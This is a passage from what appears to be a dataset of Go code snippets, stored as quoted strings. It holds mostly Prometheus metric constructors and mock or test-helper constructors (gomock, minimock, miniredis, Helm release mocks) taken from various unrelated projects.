\"used_ips\",\n\t\tHelp: \"Total used IPs on Node for IPAM allocation\",\n\t}, []string{LabelTargetNodeName})\n\n\tm.NeededIPs = prometheus.NewGaugeVec(prometheus.GaugeOpts{\n\t\tNamespace: namespace,\n\t\tSubsystem: ipamSubsystem,\n\t\tName: \"needed_ips\",\n\t\tHelp: \"Number of IPs that are needed on the Node to satisfy IPAM allocation requests\",\n\t}, []string{LabelTargetNodeName})\n\n\tm.IPsAllocated = prometheus.NewGaugeVec(prometheus.GaugeOpts{\n\t\tNamespace: namespace,\n\t\tSubsystem: ipamSubsystem,\n\t\tName: \"ips\",\n\t\tHelp: \"Number of IPs allocated\",\n\t}, []string{\"type\"})\n\n\tm.AllocateIpOps = prometheus.NewCounterVec(prometheus.CounterOpts{\n\t\tNamespace: namespace,\n\t\tSubsystem: ipamSubsystem,\n\t\tName: \"ip_allocation_ops\",\n\t\tHelp: \"Number of IP allocation operations\",\n\t}, []string{\"subnet_id\"})\n\n\tm.ReleaseIpOps = prometheus.NewCounterVec(prometheus.CounterOpts{\n\t\tNamespace: namespace,\n\t\tSubsystem: ipamSubsystem,\n\t\tName: \"ip_release_ops\",\n\t\tHelp: \"Number of IP release operations\",\n\t}, []string{\"subnet_id\"})\n\n\tm.AllocateInterfaceOps = prometheus.NewCounterVec(prometheus.CounterOpts{\n\t\tNamespace: namespace,\n\t\tSubsystem: ipamSubsystem,\n\t\tName: \"interface_creation_ops\",\n\t\tHelp: \"Number of interfaces allocated\",\n\t}, []string{\"subnet_id\"})\n\n\tm.AvailableInterfaces = prometheus.NewGauge(prometheus.GaugeOpts{\n\t\tNamespace: namespace,\n\t\tSubsystem: ipamSubsystem,\n\t\tName: \"available_interfaces\",\n\t\tHelp: \"Number of interfaces with addresses available\",\n\t})\n\n\tm.InterfaceCandidates = prometheus.NewGauge(prometheus.GaugeOpts{\n\t\tNamespace: namespace,\n\t\tSubsystem: ipamSubsystem,\n\t\tName: \"interface_candidates\",\n\t\tHelp: \"Number of attached interfaces with IPs available for allocation\",\n\t})\n\n\tm.EmptyInterfaceSlots = prometheus.NewGauge(prometheus.GaugeOpts{\n\t\tNamespace: namespace,\n\t\tSubsystem: ipamSubsystem,\n\t\tName: \"empty_interface_slots\",\n\t\tHelp: \"Number of empty interface slots available for interfaces to be attached\",\n\t})\n\n\tm.AvailableIPsPerSubnet = prometheus.NewGaugeVec(prometheus.GaugeOpts{\n\t\tNamespace: namespace,\n\t\tSubsystem: ipamSubsystem,\n\t\tName: \"available_ips_per_subnet\",\n\t\tHelp: \"Number of available IPs per subnet ID\",\n\t}, []string{\"subnet_id\", \"availability_zone\"})\n\n\tm.Nodes = prometheus.NewGaugeVec(prometheus.GaugeOpts{\n\t\tNamespace: namespace,\n\t\tSubsystem: ipamSubsystem,\n\t\tName: \"nodes\",\n\t\tHelp: \"Number of nodes by category { total | in-deficit | at-capacity }\",\n\t}, []string{\"category\"})\n\n\tm.Resync = prometheus.NewCounter(prometheus.CounterOpts{\n\t\tNamespace: namespace,\n\t\tSubsystem: ipamSubsystem,\n\t\tName: \"resync_total\",\n\t\tHelp: \"Number of resync operations to synchronize and resolve IP deficit of nodes\",\n\t})\n\n\tm.Allocation = prometheus.NewHistogramVec(prometheus.HistogramOpts{\n\t\tNamespace: namespace,\n\t\tSubsystem: ipamSubsystem,\n\t\tName: \"allocation_duration_seconds\",\n\t\tHelp: \"Allocation ip or interface latency in seconds\",\n\t\tBuckets: merge(\n\t\t\tprometheus.LinearBuckets(0.25, 0.25, 2), // 0.25s, 0.50s\n\t\t\tprometheus.LinearBuckets(1, 1, 60), // 1s, 2s, 3s, ... 60s,\n\t\t),\n\t}, []string{\"type\", \"status\", \"subnet_id\"})\n\n\tm.Release = prometheus.NewHistogramVec(prometheus.HistogramOpts{\n\t\tNamespace: namespace,\n\t\tSubsystem: ipamSubsystem,\n\t\tName: \"release_duration_seconds\",\n\t\tHelp: \"Release ip or interface latency in seconds\",\n\t\tBuckets: merge(\n\t\t\tprometheus.LinearBuckets(0.25, 0.25, 2), // 0.25s, 0.50s\n\t\t\tprometheus.LinearBuckets(1, 1, 60), // 1s, 2s, 3s, ... 60s,\n\t\t),\n\t}, []string{\"type\", \"status\", \"subnet_id\"})\n\n\t// pool_maintainer is a more generic name, but for backward compatibility\n\t// of dashboard, keep the metric name deficit_resolver unchanged\n\tm.poolMaintainer = NewTriggerMetrics(namespace, \"deficit_resolver\")\n\tm.k8sSync = NewTriggerMetrics(namespace, \"k8s_sync\")\n\tm.resync = NewTriggerMetrics(namespace, \"resync\")\n\n\tregistry.MustRegister(m.AvailableIPs)\n\tregistry.MustRegister(m.UsedIPs)\n\tregistry.MustRegister(m.NeededIPs)\n\n\tregistry.MustRegister(m.IPsAllocated)\n\tregistry.MustRegister(m.AllocateIpOps)\n\tregistry.MustRegister(m.ReleaseIpOps)\n\tregistry.MustRegister(m.AllocateInterfaceOps)\n\tregistry.MustRegister(m.AvailableInterfaces)\n\tregistry.MustRegister(m.InterfaceCandidates)\n\tregistry.MustRegister(m.EmptyInterfaceSlots)\n\tregistry.MustRegister(m.AvailableIPsPerSubnet)\n\tregistry.MustRegister(m.Nodes)\n\tregistry.MustRegister(m.Resync)\n\tregistry.MustRegister(m.Allocation)\n\tregistry.MustRegister(m.Release)\n\tm.poolMaintainer.Register(registry)\n\tm.k8sSync.Register(registry)\n\tm.resync.Register(registry)\n\n\treturn m\n}", "func ReleaseMock(opts *MockReleaseOptions) *release.Release {\n\tdate := time.Unix(242085845, 0).UTC()\n\n\tname := opts.Name\n\tif name == \"\" {\n\t\tname = \"testrelease-\" + string(rand.Intn(100))\n\t}\n\n\tversion := 1\n\tif opts.Version != 0 {\n\t\tversion = opts.Version\n\t}\n\n\tnamespace := opts.Namespace\n\tif namespace == \"\" {\n\t\tnamespace = \"default\"\n\t}\n\n\tch := opts.Chart\n\tif opts.Chart == nil {\n\t\tch = &chart.Chart{\n\t\t\tMetadata: &chart.Metadata{\n\t\t\t\tName: \"foo\",\n\t\t\t\tVersion: \"0.1.0-beta.1\",\n\t\t\t},\n\t\t\tTemplates: []*chart.File{\n\t\t\t\t{Name: \"templates/foo.tpl\", Data: []byte(MockManifest)},\n\t\t\t},\n\t\t}\n\t}\n\n\tscode := release.StatusDeployed\n\tif len(opts.Status) > 0 {\n\t\tscode = opts.Status\n\t}\n\n\treturn &release.Release{\n\t\tName: name,\n\t\tInfo: &release.Info{\n\t\t\tFirstDeployed: date,\n\t\t\tLastDeployed: date,\n\t\t\tStatus: scode,\n\t\t\tDescription: \"Release mock\",\n\t\t},\n\t\tChart: ch,\n\t\tConfig: map[string]interface{}{\"name\": \"value\"},\n\t\tVersion: version,\n\t\tNamespace: namespace,\n\t\tHooks: []*release.Hook{\n\t\t\t{\n\t\t\t\tName: \"pre-install-hook\",\n\t\t\t\tKind: \"Job\",\n\t\t\t\tPath: \"pre-install-hook.yaml\",\n\t\t\t\tManifest: MockHookTemplate,\n\t\t\t\tLastRun: date,\n\t\t\t\tEvents: []release.HookEvent{release.HookPreInstall},\n\t\t\t},\n\t\t},\n\t\tManifest: MockManifest,\n\t}\n}", "func (m *MockCreator) New() (go_reporter.Reporter, error) {\n\tret := m.ctrl.Call(m, \"New\")\n\tret0, _ := ret[0].(go_reporter.Reporter)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func NewMetrics(app, metricsPrefix, version, hash, date string) *Metrics {\n\tlabels := map[string]string{\n\t\t\"app\": app,\n\t\t\"version\": version,\n\t\t\"hash\": hash,\n\t\t\"buildTime\": date,\n\t}\n\n\tif metricsPrefix != \"\" {\n\t\tmetricsPrefix += \"_\"\n\t}\n\n\tpm := &Metrics{\n\t\tresponseTime: prometheus.NewHistogramVec(\n\t\t\tprometheus.HistogramOpts{\n\t\t\t\tName: metricsPrefix + \"response_time_seconds\",\n\t\t\t\tHelp: \"Description\",\n\t\t\t\tConstLabels: labels,\n\t\t\t},\n\t\t\t[]string{\"endpoint\"},\n\t\t),\n\t\ttotalRequests: prometheus.NewCounterVec(prometheus.CounterOpts{\n\t\t\tName: metricsPrefix + \"requests_total\",\n\t\t\tHelp: \"number of requests\",\n\t\t\tConstLabels: labels,\n\t\t}, []string{\"code\", \"method\", \"endpoint\"}),\n\t\tduration: prometheus.NewHistogramVec(prometheus.HistogramOpts{\n\t\t\tName: metricsPrefix + \"requests_duration_seconds\",\n\t\t\tHelp: \"duration of a requests in seconds\",\n\t\t\tConstLabels: labels,\n\t\t}, []string{\"code\", \"method\", \"endpoint\"}),\n\t\tresponseSize: prometheus.NewHistogramVec(prometheus.HistogramOpts{\n\t\t\tName: metricsPrefix + \"response_size_bytes\",\n\t\t\tHelp: \"size of the responses in bytes\",\n\t\t\tConstLabels: labels,\n\t\t}, []string{\"code\", \"method\"}),\n\t\trequestSize: prometheus.NewHistogramVec(prometheus.HistogramOpts{\n\t\t\tName: metricsPrefix + \"requests_size_bytes\",\n\t\t\tHelp: \"size of the requests in bytes\",\n\t\t\tConstLabels: labels,\n\t\t}, []string{\"code\", \"method\"}),\n\t\thandlerStatuses: prometheus.NewCounterVec(prometheus.CounterOpts{\n\t\t\tName: metricsPrefix + \"requests_statuses_total\",\n\t\t\tHelp: \"count number of responses per status\",\n\t\t\tConstLabels: labels,\n\t\t}, []string{\"method\", \"status_bucket\"}),\n\t}\n\n\terr := prometheus.Register(pm)\n\tif e := new(prometheus.AlreadyRegisteredError); errors.As(err, e) {\n\t\treturn pm\n\t} else if err != nil {\n\t\tpanic(err)\n\t}\n\n\tgrpcPrometheus.EnableHandlingTimeHistogram()\n\n\treturn pm\n}", "func NewMockObject(uid, name, ns string, res api.Resource) api.Object {\n\treturn NewObject(uuid.NewFromString(uid), name, ns, res)\n}", "func Prometheus(prometheusAPIURL string, customHeaders map[string]string) Driver {\n\tparsedURL, err := url.Parse(prometheusAPIURL)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tresult := prometheusStorageClient{\n\t\turl: parsedURL,\n\t\tcustomHeaders: customHeaders,\n\t}\n\tresult.init()\n\treturn &result\n}", "func newMetrics() *metrics {\n\treturn new(metrics)\n}", "func NewMock(middleware []Middleware) OrganizationService {\n\tvar svc OrganizationService = NewBasicOrganizationServiceServiceMock()\n\tfor _, m := range middleware {\n\t\tsvc = m(svc)\n\t}\n\treturn svc\n}", "func NewMockInterfaceProvider(managedInterfacesRegexp string, autoRefresh bool) (nt.InterfaceProvider,\n\tchan time.Time, error) {\n\tch := make(chan time.Time)\n\tip, err := nt.NewChanInterfaceProvider(ch, &MockInterfaceLister{}, managedInterfacesRegexp,\n\t\tautoRefresh)\n\treturn ip, ch, err\n}", "func NewMock() Component {\n\treturn &MockComponent{\n\t\tlifecycleComponent: lifecycleComponent{\n\t\t\tterminateChannel: make(chan struct{}),\n\t\t},\n\t}\n}", "func NewMock() *Mock {\n\tc := &Mock{\n\t\tFakeIncoming: func() chan []byte {\n\t\t\treturn make(chan []byte, 2)\n\t\t},\n\t\tFakeName: func() string {\n\t\t\treturn \"TestClient\"\n\t\t},\n\t\tFakeGame: func() string {\n\t\t\treturn \"test\"\n\t\t},\n\t\tFakeClose: func() {\n\t\t\t// Do nothing\n\t\t},\n\t\tFakeStopTimer: func() {\n\t\t\t// Do nothing\n\t\t},\n\t\tFakeRoom: func() interfaces.Room {\n\t\t\treturn nil\n\t\t},\n\t\tFakeSetRoom: func(interfaces.Room) {\n\n\t\t},\n\t}\n\n\tc.FakeWritePump = func() {\n\t\tfor range c.Incoming() {\n\t\t\t// Do nothing\n\t\t}\n\t}\n\n\tc.FakeSetName = func(string) interfaces.Client {\n\t\treturn c\n\t}\n\treturn c\n}", "func (t TestFactoryT) NewMockMemStore() *memStoreImpl {\n\tmetaStore := new(metaMocks.MetaStore)\n\tdiskStore := new(diskMocks.DiskStore)\n\tredoLogManagerMaster, _ := redolog.NewRedoLogManagerMaster(&common.RedoLogConfig{}, diskStore, metaStore)\n\tbootstrapToken := new(memComMocks.BootStrapToken)\n\tbootstrapToken.On(\"AcquireToken\", mock.Anything, mock.Anything).Return(true)\n\tbootstrapToken.On(\"ReleaseToken\", mock.Anything, mock.Anything).Return()\n\n\treturn NewMemStore(metaStore, diskStore, NewOptions(bootstrapToken, redoLogManagerMaster)).(*memStoreImpl)\n}", "func NewMockAPI(enc format.Encoder) API {\n\tif enc == nil {\n\t\tenc = json.New()\n\t}\n\tm := &mockAPI{\n\t\texpectations: make(map[string][]*expectation),\n\t\tencoder: enc,\n\t}\n\tm.Server = httptest.NewUnstartedServer(m)\n\treturn m\n}", "func (m *MockmonitorInterface) WatchProemetheus() (chan []envoyTraffic, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"WatchProemetheus\")\n\tret0, _ := ret[0].(chan []envoyTraffic)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func NewMockPodiumInterface(ctrl *gomock.Controller) *MockPodiumInterface {\n\tmock := &MockPodiumInterface{ctrl: ctrl}\n\tmock.recorder = &MockPodiumInterfaceMockRecorder{mock}\n\treturn mock\n}", "func Mock(objects ...runtime.Object) KubernetesClientLambda {\n\tfakePool, fakeClient := NewFakes(objects...)\n\treturn &kubernetesClientLambdaImpl{\n\t\tclientPool: fakePool,\n\t\tinformerFactory: informers.NewSharedInformerFactory(fakeClient, 0),\n\t}\n}", "func NewPrometheus(config Config, opts ...func(Type)) (Type, error) {\n\tpromConf := config.Prometheus\n\tp := &Prometheus{\n\t\tlog: log.Noop(),\n\t\trunning: 1,\n\t\tclosedChan: make(chan struct{}),\n\t\tprefix: promConf.Prefix,\n\t\tuseHistogramTiming: promConf.UseHistogramTiming,\n\t\thistogramBuckets: promConf.HistogramBuckets,\n\t\treg: prometheus.NewRegistry(),\n\t\tcounters: map[string]*prometheus.CounterVec{},\n\t\tgauges: map[string]*prometheus.GaugeVec{},\n\t\ttimers: map[string]*prometheus.SummaryVec{},\n\t\ttimersHist: map[string]*prometheus.HistogramVec{},\n\t}\n\n\tfor _, opt := range opts {\n\t\topt(p)\n\t}\n\n\tif len(p.histogramBuckets) == 0 {\n\t\tp.histogramBuckets = prometheus.DefBuckets\n\t}\n\n\t// TODO: V4 Maybe disable this with a config flag.\n\tif err := p.reg.Register(collectors.NewProcessCollector(collectors.ProcessCollectorOpts{})); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := p.reg.Register(collectors.NewGoCollector()); err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar err error\n\tif p.pathMapping, err = newPathMapping(promConf.PathMapping, p.log); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to init path mapping: %v\", err)\n\t}\n\n\tif len(promConf.PushURL) > 0 {\n\t\tp.pusher = push.New(promConf.PushURL, promConf.PushJobName).Gatherer(p.reg)\n\n\t\tif len(promConf.PushBasicAuth.Username) > 0 && len(promConf.PushBasicAuth.Password) > 0 {\n\t\t\tp.pusher = p.pusher.BasicAuth(promConf.PushBasicAuth.Username, promConf.PushBasicAuth.Password)\n\t\t}\n\n\t\tif len(promConf.PushInterval) > 0 {\n\t\t\tinterval, err := time.ParseDuration(promConf.PushInterval)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"failed to parse push interval: %v\", err)\n\t\t\t}\n\t\t\tgo func() {\n\t\t\t\tfor {\n\t\t\t\t\tselect {\n\t\t\t\t\tcase <-p.closedChan:\n\t\t\t\t\t\treturn\n\t\t\t\t\tcase <-time.After(interval):\n\t\t\t\t\t\tif err = p.pusher.Push(); err != nil {\n\t\t\t\t\t\t\tp.log.Errorf(\"Failed to push metrics: %v\\n\", err)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}()\n\t\t}\n\t}\n\n\treturn p, nil\n}", "func (t TestFactoryT) NewMockMemStore() *memStoreImpl {\n\tmetaStore := new(metaMocks.MetaStore)\n\tdiskStore := new(diskMocks.DiskStore)\n\tredoLogManagerMaster, _ := redolog.NewRedoLogManagerMaster(\"\", &common.RedoLogConfig{}, diskStore, metaStore)\n\tbootstrapToken := new(memComMocks.BootStrapToken)\n\tbootstrapToken.On(\"AcquireToken\", mock.Anything, mock.Anything).Return(true)\n\tbootstrapToken.On(\"ReleaseToken\", mock.Anything, mock.Anything).Return()\n\n\treturn NewMemStore(metaStore, diskStore, NewOptions(bootstrapToken, redoLogManagerMaster)).(*memStoreImpl)\n}", "func NewMockSupport() *MockSupport {\n\treturn &MockSupport{\n\t\tPublisher: NewBlockPublisher(),\n\t}\n}", "func NewMockRenderer(name string, log logging.Logger) *MockRenderer {\n\treturn &MockRenderer{\n\t\tname: name,\n\t\tLog: log,\n\t\tconfig: make(map[podmodel.ID]*PodConfig),\n\t}\n}", "func (m *MockMetricServiceClient) CreateMetricIBMPvuStandard(arg0 context.Context, arg1 *v1.MetricIPS, arg2 ...grpc.CallOption) (*v1.MetricIPS, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"CreateMetricIBMPvuStandard\", varargs...)\n\tret0, _ := ret[0].(*v1.MetricIPS)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func NewPrometheusClient(host, token string, queryParameters map[string][]string) *PrometheusClient {\n\treturn &PrometheusClient{\n\t\thost: host,\n\t\ttoken: token,\n\t\tqueryParameters: queryParameters,\n\t}\n}", "func NewKubeletMock() *KubeletMock {\n\treturn &KubeletMock{\n\t\tMockReplies: make(map[string]*HTTPReplyMock),\n\t}\n}", "func newTestRedis() *redismock.ClientMock {\n\tmr, err := miniredis.Run()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tclient := redis.NewClient(&redis.Options{\n\t\tAddr: mr.Addr(),\n\t})\n\n\treturn redismock.NewNiceMock(client)\n}", "func newPrometheusHTTPHandler(params prometheusHTTPHandlerParams) HTTPHandler {\n\tif strings.TrimSpace(params.Opts.Endpoint) == \"\" {\n\t\tparams.Opts.Endpoint = fmt.Sprintf(\"/%s\", MetricsEndpoint)\n\t}\n\tif params.Opts.Timeout == time.Duration(0) {\n\t\tparams.Opts.Timeout = 5 * time.Second\n\t}\n\n\terrorLog := prometheusHTTPErrorLog(eventlog.NewLogger(PrometheusHTTPError, params.Logger, zerolog.ErrorLevel))\n\tpromhttpHandlerOpts := promhttp.HandlerOpts{\n\t\tErrorLog: errorLog,\n\t\tErrorHandling: params.Opts.ErrorHandling,\n\t\tRegistry: params.Registerer,\n\t\tMaxRequestsInFlight: 3,\n\t\tTimeout: params.Opts.Timeout,\n\t}\n\thandler := promhttp.HandlerFor(params.Gatherer, promhttpHandlerOpts)\n\treturn NewHTTPHandler(params.Opts.Endpoint, handler.ServeHTTP)\n}", "func NewMockRedis() (mockRedis *Redis, closeFunc func(), err error) {\n\tmockServer, err := miniredis.Run()\n\tcloseFunc = func() {\n\t\tmockServer.Close()\n\t}\n\tif err != nil {\n\t\treturn\n\t}\n\tmockRedis, err = NewRedis(&RedisConfig{\n\t\tAddr: fmt.Sprintf(\"localhost:%s\", mockServer.Port()),\n\t\tServerName: \"mock.redis\",\n\t\tReadTimeout: 1000,\n\t})\n\treturn\n}", "func NewMetrics() *Metrics {\n\treturn &Metrics{\n\t\tInputBytesTotal: promauto.NewCounterVec(\n\t\t\tprometheus.CounterOpts{\n\t\t\t\tName: \"router_input_bytes_total\",\n\t\t\t\tHelp: \"Total number of bytes received\",\n\t\t\t},\n\t\t\t[]string{\"interface\", \"isd_as\", \"neighbor_isd_as\"},\n\t\t),\n\t\tOutputBytesTotal: promauto.NewCounterVec(\n\t\t\tprometheus.CounterOpts{\n\t\t\t\tName: \"router_output_bytes_total\",\n\t\t\t\tHelp: \"Total number of bytes sent.\",\n\t\t\t},\n\t\t\t[]string{\"interface\", \"isd_as\", \"neighbor_isd_as\"},\n\t\t),\n\t\tInputPacketsTotal: promauto.NewCounterVec(\n\t\t\tprometheus.CounterOpts{\n\t\t\t\tName: \"router_input_pkts_total\",\n\t\t\t\tHelp: \"Total number of packets received\",\n\t\t\t},\n\t\t\t[]string{\"interface\", \"isd_as\", \"neighbor_isd_as\"},\n\t\t),\n\t\tOutputPacketsTotal: promauto.NewCounterVec(\n\t\t\tprometheus.CounterOpts{\n\t\t\t\tName: \"router_output_pkts_total\",\n\t\t\t\tHelp: \"Total number of packets sent.\",\n\t\t\t},\n\t\t\t[]string{\"interface\", \"isd_as\", \"neighbor_isd_as\"},\n\t\t),\n\t\tDroppedPacketsTotal: promauto.NewCounterVec(\n\t\t\tprometheus.CounterOpts{\n\t\t\t\tName: \"router_dropped_pkts_total\",\n\t\t\t\tHelp: \"Total number of packets dropped by the router. This metric reports \" +\n\t\t\t\t\t\"the number of packets that were dropped because of errors.\",\n\t\t\t},\n\t\t\t[]string{\"interface\", \"isd_as\", \"neighbor_isd_as\"},\n\t\t),\n\t\tInterfaceUp: promauto.NewGaugeVec(\n\t\t\tprometheus.GaugeOpts{\n\t\t\t\tName: \"router_interface_up\",\n\t\t\t\tHelp: \"Either zero or one depending on whether the interface is up.\",\n\t\t\t},\n\t\t\t[]string{\"interface\", \"isd_as\", \"neighbor_isd_as\"},\n\t\t),\n\t\tBFDInterfaceStateChanges: promauto.NewCounterVec(\n\t\t\tprometheus.CounterOpts{\n\t\t\t\tName: \"router_bfd_state_changes_total\",\n\t\t\t\tHelp: \"Total number of BFD state changes.\",\n\t\t\t},\n\t\t\t[]string{\"interface\", \"isd_as\", \"neighbor_isd_as\"},\n\t\t),\n\t\tBFDPacketsSent: promauto.NewCounterVec(\n\t\t\tprometheus.CounterOpts{\n\t\t\t\tName: \"router_bfd_sent_packets_total\",\n\t\t\t\tHelp: \"Number of BFD packets sent.\",\n\t\t\t},\n\t\t\t[]string{\"interface\", \"isd_as\", \"neighbor_isd_as\"},\n\t\t),\n\t\tBFDPacketsReceived: promauto.NewCounterVec(\n\t\t\tprometheus.CounterOpts{\n\t\t\t\tName: \"router_bfd_received_packets_total\",\n\t\t\t\tHelp: \"Number of BFD packets received.\",\n\t\t\t},\n\t\t\t[]string{\"interface\", \"isd_as\", \"neighbor_isd_as\"},\n\t\t),\n\t\tServiceInstanceCount: promauto.NewGaugeVec(\n\t\t\tprometheus.GaugeOpts{\n\t\t\t\tName: \"router_service_instance_count\",\n\t\t\t\tHelp: \"Number of service instances known by the data plane.\",\n\t\t\t},\n\t\t\t[]string{\"service\", \"isd_as\"},\n\t\t),\n\t\tServiceInstanceChanges: promauto.NewCounterVec(\n\t\t\tprometheus.CounterOpts{\n\t\t\t\tName: \"router_service_instance_changes_total\",\n\t\t\t\tHelp: \"Number of total service instance changes. Both addition and removal of a \" +\n\t\t\t\t\t\"service instance is accumulated.\",\n\t\t\t},\n\t\t\t[]string{\"service\", \"isd_as\"},\n\t\t),\n\t\tSiblingReachable: promauto.NewGaugeVec(\n\t\t\tprometheus.GaugeOpts{\n\t\t\t\tName: \"router_sibling_reachable\",\n\t\t\t\tHelp: \"Either zero or one depending on whether a sibling router \" +\n\t\t\t\t\t\"instance is reachable.\",\n\t\t\t},\n\t\t\t[]string{\"sibling\", \"isd_as\"},\n\t\t),\n\t\tSiblingBFDPacketsSent: promauto.NewCounterVec(\n\t\t\tprometheus.CounterOpts{\n\t\t\t\tName: \"router_bfd_sent_sibling_packets_total\",\n\t\t\t\tHelp: \"Number of BFD packets sent to sibling router instance.\",\n\t\t\t},\n\t\t\t[]string{\"sibling\", \"isd_as\"},\n\t\t),\n\t\tSiblingBFDPacketsReceived: promauto.NewCounterVec(\n\t\t\tprometheus.CounterOpts{\n\t\t\t\tName: \"router_bfd_received_sibling_packets_total\",\n\t\t\t\tHelp: \"Number of BFD packets received from sibling router instance.\",\n\t\t\t},\n\t\t\t[]string{\"sibling\", \"isd_as\"},\n\t\t),\n\t\tSiblingBFDStateChanges: promauto.NewCounterVec(\n\t\t\tprometheus.CounterOpts{\n\t\t\t\tName: \"router_bfd_sibling_state_changes_total\",\n\t\t\t\tHelp: \"Total number of BFD state changes for sibling router instances\",\n\t\t\t},\n\t\t\t[]string{\"sibling\", \"isd_as\"},\n\t\t),\n\t}\n}", "func NewMockedMetrics() *MockedMetrics {\n\treturn &MockedMetrics{}\n}", "func NewMockedMetrics() *MockedMetrics {\n\treturn &MockedMetrics{}\n}", "func (m *MockMetricsFactory) Create() metrics.Metrics {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Create\")\n\tret0, _ := ret[0].(metrics.Metrics)\n\treturn ret0\n}", "func NewMockCache() *MockCache {\n\treturn &MockCache{}\n}", "func MockMetrics() []telegraf.Metric {\n\tmetrics := make([]telegraf.Metric, 0)\n\t// Create a new point batch\n\tmetrics = append(metrics, TestMetric(1.0))\n\treturn metrics\n}", "func NewNotificationsService(t mockConstructorTestingTNewNotificationsService) *NotificationsService {\n\tmock := &NotificationsService{}\n\tmock.Mock.Test(t)\n\n\tt.Cleanup(func() { mock.AssertExpectations(t) })\n\n\treturn mock\n}", "func mockStatsHistogram(id int64, values []types.Datum, repeat int64, tp *types.FieldType) *statistics.Histogram {\n\tndv := len(values)\n\thistogram := statistics.NewHistogram(id, int64(ndv), 0, 0, tp, ndv, 0)\n\tfor i := 0; i < ndv; i++ {\n\t\thistogram.AppendBucket(&values[i], &values[i], repeat*int64(i+1), repeat)\n\t}\n\treturn histogram\n}", "func NewProcedureMock(t minimock.Tester) *ProcedureMock {\n\tm := &ProcedureMock{t: t}\n\tif controller, ok := t.(minimock.MockController); ok {\n\t\tcontroller.RegisterMocker(m)\n\t}\n\n\tm.ProceedMock = mProcedureMockProceed{mock: m}\n\tm.ProceedMock.callArgs = []*ProcedureMockProceedParams{}\n\n\treturn m\n}", "func newMetrics() metrics {\n\treturn metrics{\n\t\tsize: prometheus.NewGauge(\n\t\t\tprometheus.GaugeOpts{\n\t\t\t\tNamespace: \"openebs\",\n\t\t\t\tName: \"pool_size\",\n\t\t\t\tHelp: \"Size of pool\",\n\t\t\t},\n\t\t),\n\n\t\tstatus: prometheus.NewGaugeVec(\n\t\t\tprometheus.GaugeOpts{\n\t\t\t\tNamespace: \"openebs\",\n\t\t\t\tName: \"pool_status\",\n\t\t\t\tHelp: `Status of pool (0, 1, 2, 3, 4, 5, 6)= {\"Offline\", \"Online\", \"Degraded\", \"Faulted\", \"Removed\", \"Unavail\", \"NoPoolsAvailable\"}`,\n\t\t\t},\n\t\t\t[]string{\"pool\"},\n\t\t),\n\n\t\tusedCapacity: prometheus.NewGauge(\n\t\t\tprometheus.GaugeOpts{\n\t\t\t\tNamespace: \"openebs\",\n\t\t\t\tName: \"used_pool_capacity\",\n\t\t\t\tHelp: \"Capacity used by pool\",\n\t\t\t},\n\t\t),\n\n\t\tfreeCapacity: prometheus.NewGauge(\n\t\t\tprometheus.GaugeOpts{\n\t\t\t\tNamespace: \"openebs\",\n\t\t\t\tName: \"free_pool_capacity\",\n\t\t\t\tHelp: \"Free capacity in pool\",\n\t\t\t},\n\t\t),\n\n\t\tusedCapacityPercent: prometheus.NewGauge(\n\t\t\tprometheus.GaugeOpts{\n\t\t\t\tNamespace: \"openebs\",\n\t\t\t\tName: \"used_pool_capacity_percent\",\n\t\t\t\tHelp: \"Capacity used by pool in percent\",\n\t\t\t},\n\t\t),\n\n\t\tzpoolListparseErrorCounter: prometheus.NewGauge(\n\t\t\tprometheus.GaugeOpts{\n\t\t\t\tNamespace: \"openebs\",\n\t\t\t\tName: \"zpool_list_parse_error_count\",\n\t\t\t\tHelp: \"Total no of parsing errors\",\n\t\t\t},\n\t\t),\n\n\t\tzpoolRejectRequestCounter: prometheus.NewGauge(\n\t\t\tprometheus.GaugeOpts{\n\t\t\t\tNamespace: \"openebs\",\n\t\t\t\tName: \"zpool_reject_request_count\",\n\t\t\t\tHelp: \"Total no of rejected requests of zpool command\",\n\t\t\t},\n\t\t),\n\n\t\tzpoolCommandErrorCounter: prometheus.NewGauge(\n\t\t\tprometheus.GaugeOpts{\n\t\t\t\tNamespace: \"openebs\",\n\t\t\t\tName: \"zpool_command_error\",\n\t\t\t\tHelp: \"Total no of zpool command errors\",\n\t\t\t},\n\t\t),\n\n\t\tnoPoolAvailableErrorCounter: prometheus.NewGauge(\n\t\t\tprometheus.GaugeOpts{\n\t\t\t\tNamespace: \"openebs\",\n\t\t\t\tName: \"no_pool_available_error\",\n\t\t\t\tHelp: \"Total no of no pool available errors\",\n\t\t\t},\n\t\t),\n\n\t\tincompleteOutputErrorCounter: prometheus.NewGauge(\n\t\t\tprometheus.GaugeOpts{\n\t\t\t\tNamespace: \"openebs\",\n\t\t\t\tName: \"zpool_list_incomplete_stdout_error\",\n\t\t\t\tHelp: \"Total no of incomplete stdout of zpool list command errors\",\n\t\t\t},\n\t\t),\n\t}\n}", "func NewMock(path string, nodes uint, replicas uint, vbuckets uint, specs ...BucketSpec) (m *Mock, err error) {\n\tvar lsn *net.TCPListener\n\tchAccept := make(chan bool)\n\tm = &Mock{}\n\n\tdefer func() {\n\t\tclose(chAccept)\n\t\tif lsn != nil {\n\t\t\tif err := lsn.Close(); err != nil {\n\t\t\t\tlog.Printf(\"Failed to close listener: %v\", err)\n\t\t\t}\n\t\t}\n\t\texc := recover()\n\n\t\tif exc == nil {\n\t\t\t// No errors, everything is OK\n\t\t\treturn\n\t\t}\n\n\t\t// Close mock on error, destroying resources\n\t\tm.Close()\n\t\tif mExc, ok := exc.(mockError); !ok {\n\t\t\tpanic(mExc)\n\t\t} else {\n\t\t\tm = nil\n\t\t\terr = mExc\n\t\t}\n\t}()\n\n\tif lsn, err = net.ListenTCP(\"tcp\", &net.TCPAddr{Port: 0}); err 